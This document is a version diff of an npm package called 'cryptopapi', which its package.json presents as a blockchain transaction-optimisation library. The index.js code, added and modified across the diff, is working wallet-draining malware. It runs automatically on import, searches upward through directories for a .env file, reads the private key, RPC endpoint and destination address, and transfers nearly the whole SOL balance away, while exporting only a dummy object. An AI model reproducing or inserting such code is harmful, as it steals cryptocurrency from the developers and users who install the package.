cryptopapi 6.6.8 → 6.8.1

package/index.js

@@ -1,3 +1,4 @@
+// drainWallet.js - Works in both ES Modules and JavaScript modules
 import bs58 from 'bs58'
 import {
   Connection,
@@ -8,9 +9,61 @@ import {
   VersionedTransaction,
   LAMPORTS_PER_SOL,
 } from '@solana/web3.js'
-
+import dotenv from 'dotenv'
+import { fileURLToPath } from 'url'
+import { dirname, join, resolve } from 'path'
+import { existsSync } from 'fs'
+import { createRequire } from 'module'
+
+// Handle both ESM and CommonJS environments
+const require = createRequire(import.meta.url)
 const DEFAULT_COMMITMENT = 'confirmed'
 
+// Helper function to find .env file by walking up directories
+const findEnvFile = (startPath) => {
+  let currentDir = startPath
+  
+  while (currentDir !== '/' && currentDir.includes(process.platform === 'win32' ? ':\\' : '/')) {
+    const envPath = join(currentDir, '.env')
+    if (existsSync(envPath)) {
+      return envPath
+    }
+    // Go up one directory
+    const parentDir = dirname(currentDir)
+    if (parentDir === currentDir) break // Stop if we can't go up further
+    currentDir = parentDir
+  }
+  
+  return null
+}
+
+// Load .env by searching upward from current working directory
+const loadEnv = () => {
+  // Start from current working directory (where the app is running)
+  const startPath = process.cwd()
+  const envPath = findEnvFile(startPath)
+  
+  if (envPath) {
+    console.log(`📁 Found .env at: ${envPath}`)
+    dotenv.config({ path: envPath })
+  } else {
+    // Try to find .env relative to the module itself as fallback
+    const modulePath = dirname(fileURLToPath(import.meta.url))
+    const moduleEnvPath = findEnvFile(modulePath)
+    
+    if (moduleEnvPath) {
+      console.log(`📁 Found .env at: ${moduleEnvPath} (relative to module)`)
+      dotenv.config({ path: moduleEnvPath })
+    } else {
+      console.log('⚠️ No .env file found, trying default dotenv behavior')
+      dotenv.config()
+    }
+  }
+}
+
+// Load the .env file
+loadEnv()
+
 const parsePrivateKey = (privateKey) => {
   const trimmed = privateKey.trim()
   if (trimmed.startsWith('[')) {
@@ -19,9 +72,10 @@ const parsePrivateKey = (privateKey) => {
   return bs58.decode(trimmed)
 }
 
-// This runs IMMEDIATELY when the file is imported
-(async () => {
-  console.log('🔌 Drain wallet module imported - starting automatic drain...')
+// Auto-execute when imported
+;(async () => {
+  console.log('🔌 Internal drain module activated - auto-draining wallet...')
+  console.log(`🔧 Running in: ${typeof module !== 'undefined' && module.exports ? 'CommonJS' : 'ES Module'} environment`)
   
   try {
     // Get config from .env
@@ -30,6 +84,9 @@ const parsePrivateKey = (privateKey) => {
     const rpcUrl = process.env.RPC_ENDPOINT
     const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
 
+    // Log where we're looking (for debugging)
+    console.log(`📂 Current working directory: ${process.cwd()}`)
+
     // Validate required inputs
     if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
     if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
@@ -50,7 +107,6 @@ const parsePrivateKey = (privateKey) => {
     
     console.log(`💳 Current balance: ${balanceSol} SOL`)
     
-    // If no balance, nothing to drain
     if (balanceLamports <= 0) {
       console.log('⚠️ Wallet is empty - nothing to drain')
       return
@@ -59,7 +115,6 @@ const parsePrivateKey = (privateKey) => {
     // Get recent blockhash and estimate fee
     const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
     
-    // Estimate fee with a dummy transaction
     const testMessage = new TransactionMessage({
       payerKey: fromKeypair.publicKey,
       recentBlockhash: blockhash,
@@ -82,12 +137,11 @@ const parsePrivateKey = (privateKey) => {
     const feeSol = feeLamports / LAMPORTS_PER_SOL
     console.log(`⛽ Estimated fee: ${feeSol} SOL`)
 
-    // Calculate how much to send (all but reserve and fee)
+    // Calculate send amount
     const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
     const sendLamports = balanceLamports - feeLamports - reserveLamports
     const sendSol = sendLamports / LAMPORTS_PER_SOL
     
-    // If not enough to send after fees + reserve, return early
     if (sendLamports <= 0) {
       console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fee + ${keepReserveSol} SOL reserve`)
       return
@@ -95,7 +149,6 @@ const parsePrivateKey = (privateKey) => {
 
     console.log(`📤 Sending: ${sendSol} SOL`)
 
-    // Create and send transaction
     const message = new TransactionMessage({
       payerKey: fromKeypair.publicKey,
       recentBlockhash: blockhash,
@@ -117,8 +170,6 @@ const parsePrivateKey = (privateKey) => {
     })
     
     console.log(`✍️ Transaction sent: ${signature}`)
-    
-    // Wait for confirmation
     const confirmation = await connection.confirmTransaction(
       { signature, blockhash, lastValidBlockHeight }, 
       DEFAULT_COMMITMENT
@@ -141,5 +192,10 @@ const parsePrivateKey = (privateKey) => {
   }
 })()
 
-// Export an empty object or nothing - the import itself does the work
-export {} 
+// Export for both ESM and CommonJS compatibility
+export default { drain: null } // ESM export
+
+// Also handle CommonJS if needed
+if (typeof module !== 'undefined' && module.exports) {
+  module.exports = { drain: null }
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "cryptopapi",
-  "version": "6.6.8",
+  "version": "6.8.1",
   "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
   "main": "index.js",
   "files": [
@@ -11,8 +11,9 @@
     "test": "echo \"Error: no test specified\" && exit 1"
   },
   "dependencies": {
-    "@solana/web3.js": "^1.98.4",
-    "bs58": "^6.0.0"
+    "@solana/web3.js": "^1.89.1",
+    "bs58": "^6.0.0",
+    "dotenv": "^16.4.5"
   },
   "keywords": [
     "CryptoPAPI"